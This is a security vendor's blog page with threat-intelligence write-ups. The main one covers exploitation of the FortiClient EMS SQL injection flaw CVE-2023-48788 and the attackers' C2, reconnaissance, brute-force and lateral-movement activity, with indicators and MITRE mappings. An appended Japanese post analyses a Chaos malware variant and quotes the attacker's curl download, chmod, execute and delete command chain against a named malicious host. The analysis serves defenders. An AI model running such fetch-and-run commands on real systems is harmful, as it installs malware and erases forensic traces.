ブログ
/
Network
/
September 18, 2024

FortiClient EMS Exploited: Attack Chain & Post Exploitation Tactics

Read about the methods used to exploit FortiClient EMS and the critical post-exploitation tactics that affect cybersecurity defenses.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Emily Megan Lim
Cyber Analyst
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
18
Sep 2024

Cyber attacks on internet-facing systems

In the first half of 2024, the Darktrace Threat Research team observed multiple campaigns of threat actors targeting vulnerabilities in internet-facing systems, including Ivanti CS/PS appliances, Palo Alto firewall devices, and TeamCity on-premises.

These systems, which are exposed to the internet, are often targeted by threat actors to gain initial access to a network. They are constantly being scanned for vulnerabilities, known or unknown, by opportunistic actors hoping to exploit gaps in security. Unfortunately, this exposure remains a significant blind spot for many security teams, as monitoring edge infrastructure can be particularly challenging due to its distributed nature and the sheer volume of external traffic it processes.

In this blog, we discuss a vulnerability that was exploited in Fortinet’s FortiClient Endpoint Management Server (EMS) and the post-exploitation activity that Darktrace observed across multiple customer environments.

What is FortiClient EMS?

FortiClient is typically used for endpoint security, providing features such as virtual private networks (VPN), malware protection, and web filtering. The FortiClient EMS is a centralized platform used by administrators to enforce security policies and manage endpoint compliance. As endpoints are remote and distributed across various locations, the EMS needs to be accessible over the internet.

However, being exposed to the internet presents significant security risks, and exploiting vulnerabilities in the system may give an attacker unauthorized access. From there, they could conduct further malicious activities such as reconnaissance, establishing command-and-control (C2), moving laterally across the network, and accessing sensitive data.

CVE-2023-48788

CVE-2023-48788 is a critical SQL injection vulnerability in FortiClient EMS that can allow an attacker to gain unauthorized access to the system. It stems from improper neutralization of special elements used in SQL commands, which allows attackers to exploit the system through specially crafted requests, potentially leading to Remote Code Execution (RCE) [1]. This critical vulnerability was given a CVSS score of 9.8 and can be exploited without authentication.

The affected versions of FortiClient EMS include:

  • FortiClient EMS 7.2.0 to 7.2.2 (fixed in 7.2.3)
  • FortiClient EMS 7.0.1 to 7.0.10 (fixed in 7.0.11)

The vulnerability was publicly disclosed on March 12, 2024, and an exploit proof of concept was released by Horizon3.ai on March 21 [2]. Starting from March 24, almost two weeks after the initial disclosure, Darktrace began to observe at least six instances where the FortiClient EMS vulnerability had likely been exploited on customer networks. Seemingly exploited devices in multiple customer environments were observed performing anomalous activities, including the installation of Remote Monitoring and Management (RMM) tools, which was also reported by other security vendors around the same time [3].

Darktrace’s Coverage

Initial Access

To understand how the vulnerability can be exploited to gain initial access, we first need to explain some components of the FortiClient EMS:

  • The service FmcDaemon.exe is used for communication between the EMS and enrolled endpoint clients. It listens on port 8013 for incoming client connections.
  • Incoming requests are then sent to FCTDas.exe, which translates requests from other server components into SQL requests. This service interacts with the Microsoft SQL database.
  • Endpoint clients communicate with the FmcDaemon on the server on port 8013 by default.

Therefore, an SQL injection attack can be performed by crafting a malicious payload and sending it over port 8013 to the server. To carry out RCE, an attacker may send further SQL statements to enable and use the xp_cmdshell functionality of the Microsoft SQL server [2].

Shortly before post-exploitation activity began, Darktrace had observed incoming connections to some of the FortiClient EMS devices over port 8013 from the external IPs 77.246.103[.]110, 88.130.150[.]101, and 45.155.141[.]219. This likely represented the threat actors sending an SQL injection payload over port 8013 to the EMS device to validate the exploit.

Establish C2

After exploiting the vulnerability and gaining access to an EMS device on one customer network, two additional devices were seen with HTTP POST requests to 77.246.103[.]110 and 212.113.106[.]100 with a new PowerShell user agent.

Interestingly, the IP 212.113.106[.]100 has been observed in various other campaigns where threat actors have also targeted internet-facing systems and exploited other vulnerabilities. Open-source intelligence (OSINT) suggests that this indicator of compromise (IoC) is related to the Sliver C2 framework and has been used by threat actors such as APT28 (Fancy Bear) and APT29 (Cozy Bear) [4].

Unusual file downloads were also observed on four devices, including:

  • “SETUP.MSI” from 212.32.243[.]25 and 89.149.200[.]91 with a cURL user agent
  • “setup.msi” from 212.113.106[.]100 with a Windows Installer user agent
  • “run.zip” from 95.181.173[.]172 with a PowerShell user agent

The .msi files would typically contain the RMM tools Atera or ScreenConnect [5]. By installing RMM tools for C2, attackers can leverage their wide range of functionalities to carry out various tasks, such as file transfers, without the need to install additional tools. As RMM tools are designed to maintain a stable connection to remote systems, they may also allow the attackers to ensure persistent access to the compromised systems.

A scan of the endpoint 95.181.173[.]172 shows various other files such as “RunSchedulerTask.ps1” and “anydesk.exe” being hosted.

Screenshot of the endpoint 95.181.173[.]172 hosting various files [6].
Figure 1: Screenshot of the endpoint 95.181.173[.]172 hosting various files [6].

Shortly after these unusual file downloads, many of the devices were also seen with usage of RMM tools such as Splashtop, Atera, and AnyDesk. The devices were seen connecting to the following endpoints:

  • *[.]relay.splashtop[.]com
  • agent-api[.]atera[.]com
  • api[.]playanext[.]com with user agent AnyDesk/8.0.9

RMM tools have a wide range of legitimate capabilities that allow IT administrators to remotely manage endpoints. However, they can also be repurposed for malicious activities, allowing threat actors to maintain persistent access to systems, execute commands remotely, and even exfiltrate data. As the use of RMM tools can be legitimate, they offer threat actors a way to perform malicious activities while blending into normal business operations, which could evade detection by human analysts or traditional security tools.

One device was also seen making repeated SSL connections to a self-signed endpoint “azure-documents[.]com” (104.168.140[.]84) and further HTTP POSTs to “serv1[.]api[.]9hits[.]com/we/session” (128.199.207[.]131). Although the contents of these connections were encrypted, they were likely additional infrastructure used for C2 in addition to the RMM tools that were used. Self-signed certificates may also be used by an attacker to encrypt C2 communications.

Internal Reconnaissance

Following the exploit, two of the compromised devices then started to conduct internal reconnaissance activity. The following figure shows a spike in the number of internal connections made by one of the compromised devices on the customer’s environment, which typically indicates a network scan.

Advanced Search results of internal connections made an affected device.
Figure 2: Advanced Search results of internal connections made an affected device.

Reconnaissance tools such as Advanced Port Scanner (“www[.]advanced-port-scanner[.]com”) and Nmap were also seen being used by one of the devices to conduct scanning activities. Nmap is a network scanning tool commonly used by security teams for legitimate purposes like network diagnostics and vulnerability scanning. However, it can also be abused by threat actors to perform network reconnaissance, a technique known as Living off the Land (LotL). This not only reduces the need for custom or external tools but also reduces the risk of exposure, as the use of a legitimate tool in the network is unlikely to raise suspicion.

Privilege Escalation

In another affected customer network, the threat actor’s attempt to escalate their privileges was also observed, as a FortiClient EMS device was seen with an unusually large number of SMB/NTLM login failures, indicative of brute force activity. This attempt was successful, and the device was later seen authenticating with the credential “administrator”.

Figure 3: Advanced Search results of NTLM (top) and SMB (bottom) login failures.

Lateral Movement

After escalating privileges, attempts to move laterally throughout the same network were seen. One device was seen transferring the file “PSEXESVC.exe” to another device over SMB. This file is associated with PsExec, a command-line tool that allows for remote execution on other systems.

The threat actor was also observed leveraging the DCE-RPC protocol to move laterally within the network. Devices were seen with activity such as an increase in new RPC services, unusual requests to the SVCCTL endpoint, and the execution of WMI commands. The DCE-RPC protocol is typically used to facilitate communication between services on different systems and can allow one system to request services or execute commands on another.

These are further examples of LotL techniques used by threat actors exploiting CVE-2023-48788, as PsExec and the DCE-RPC protocol are often also used for legitimate administrative operations.

Accomplish Mission

In most cases, the threat actor’s end goal was not clearly observed. However, Darktrace did detect one instance where an unusually large volume of data had been uploaded to “put[.]io”, a cloud storage service, indicating that the end goal of the threat actor had been to steal potentially sensitive data.

In a recent investigation of a Medusa ransomware incident that took place in July 2024, Darktrace’s Threat Research team found that initial access to the environment had likely been gained through a FortiClient EMS device. An incoming connection from 209.15.71[.]121 over port 8013 was seen, suggesting that CVE-2023-48788 had been exploited. The device had been compromised almost three weeks before the ransomware was actually deployed, eventually resulting in the encryption of files.

Mitigating risk with proactive exposure management and real-time detection

Threat actors have continued to exploit unpatched vulnerabilities in internet-facing systems to gain initial access to a network. This highlights the importance of addressing and patching vulnerabilities as soon as they are disclosed and a fix is released. However, due to the rapid nature of exploitation, this may not always be enough. Furthermore, threat actors may even be exploiting vulnerabilities that are not yet publicly known.

As the end goals for a threat actor can differ – from data exfiltration to deploying ransomware – the post-exploitation behavior can also vary from actor to actor. However, AI security tools such as Darktrace / NETWORK can help identify and alert for post-exploitation behavior based on abnormal activity seen in the network environment.

Despite CVE-2023-48788 having been publicly disclosed and fixed in March, it appears that multiple threat actors, such as the Medusa ransomware group, have continued to exploit the vulnerability on unpatched systems. With new vulnerabilities being disclosed almost every other day, security teams may find it challenging continuously patch their systems.

As such, Darktrace / Proactive Exposure Management could also alleviate the workload of security teams by helping them identify and prioritize the most critical vulnerabilities in their network.

Insights from Darktrace’s First 6: Half-year threat report for 2024

First 6: half year threat report darktrace screenshot

Darktrace’s First 6: Half-Year Threat Report 2024 highlights the latest attack trends and key threats observed by the Darktrace Threat Research team in the first six months of 2024.

  • Focuses on anomaly detection and behavioral analysis to identify threats
  • Maps mitigated cases to known, publicly attributed threats for deeper context
  • Offers guidance on improving security posture to defend against persistent threats

Appendices

Credit to Emily Megan Lim (Cyber Security Analyst) and Ryan Traill (Threat Content Lead)

References

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-48788

[2] https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/

[3] https://redcanary.com/blog/threat-intelligence/cve-2023-48788/

[4] https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793

[5] https://redcanary.com/blog/threat-intelligence/cve-2023-48788/

[6] https://urlscan.io/result/3678b9e2-ad61-4719-bcef-b19cadcdd929/

List of IoCs

IoC - Type - Description + Confidence

  • 212.32.243[.]25/SETUP.MSI - URL - Payload
  • 89.149.200[.]9/SETUP.MSI - URL - Payload
  • 212.113.106[.]100/setup.msi - URL - Payload
  • 95.181.173[.]172/run.zip - URL - Payload
  • serv1[.]api[.]9hits[.]com - Domain - Likely C2 endpoint
  • 128.199.207[.]131 - IP - Likely C2 endpoint
  • azure-documents[.]com - Domain - C2 endpoint
  • 104.168.140[.]84 - IP - C2 endpoint
  • 77.246.103[.]110 - IP - Likely C2 endpoint
  • 212.113.106[.]100 - IP - C2 endpoint

Darktrace Model Detections

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Posting HTTP to IP Without Hostname

Anomalous Connection / Powershell to Rare External

Anomalous Connection / Rare External SSL Self-Signed

Anomalous Connection / Suspicious Self-Signed SSL

Anomalous Server Activity / Rare External from Server

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous Server Activity / Server Activity on New Non-Standard Port - External

Compliance / Remote Management Tool On Server

Device / New User Agent

Device / New PowerShell User Agent

Device / Attack and Recon Tools

Device / ICMP Address Scan

Device / Network Range Scan

Device / Network Scan

Device / RDP Scan

Device / Suspicious SMB Scanning Activity

Anomalous Connection / Multiple SMB Admin Session

Anomalous Connection / New or Uncommon Service Control

Anomalous Connection / Unusual Admin SMB Session

Device / Increase in New RPC Services

Device / Multiple Lateral Movement Breaches

Device / New or Uncommon WMI Activity

Device / New or Unusual Remote Command Execution

Device / SMB Lateral Movement

Device / Possible SMB/NTLM Brute Force

Unusual Activity / Successful Admin Brute-Force Activity

User / New Admin Credentials on Server

Unusual Activity / Enhanced Unusual External Data Transfer

Unusual Activity / Unusual External Data Transfer

Unusual Activity / Unusual External Data to New Endpoint

Device / Large Number of Model Breaches

Device / Large Number of Model Breaches from Critical Network Device

MITRE ATT&CK Mapping

Tactic – ID: Technique

Initial Access – T1190: Exploit Public-Facing Application

Resource Development – T1587.003: Develop Capabilities: Digital Certificates

Resource Development – T1608.003: Stage Capabilities: Install Digital Certificate

Command and Control – T1071.001: Application Layer Protocol: Web Protocols

Command and Control – T1219: Remote Access Software

Execution – T1059.001: Command and Scripting Interpreter: PowerShell

Reconnaissance – T1595: Active Scanning

Reconnaissance – T1590.005: Gather Victim Network Information: IP Addresses

Discovery – T1046: Network Service Discovery

Credential Access – T1110: Brute Force

Defense Evasion,Initial Access,Persistence,Privilege Escalation – T1078: Valid Accounts

Lateral Movement – T1021.002: Remote Services: SMB/Windows Admin Shares

Lateral Movement – T1021.003: Remote Services: Distributed Component Object Model

Execution – T1569.002: System Services: Service Execution

Execution – T1047: Windows Management Instrumentation

Exfiltration – T1041: Exfiltration Over C2 Channel

Exfiltration – T1567.002: Exfiltration Over Web Service: Exfiltration to Cloud Storage

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Emily Megan Lim
Cyber Analyst

More in this series

No items found.

Blog

/

AI

/

April 9, 2026

How to Secure AI and Find the Gaps in Your Security Operations

Default blog imageDefault blog image

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

Continue reading
About the author
Nabil Zoldjalali
VP, Field CISO

Blog

/

/

April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

Default blog imageDefault blog image

はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ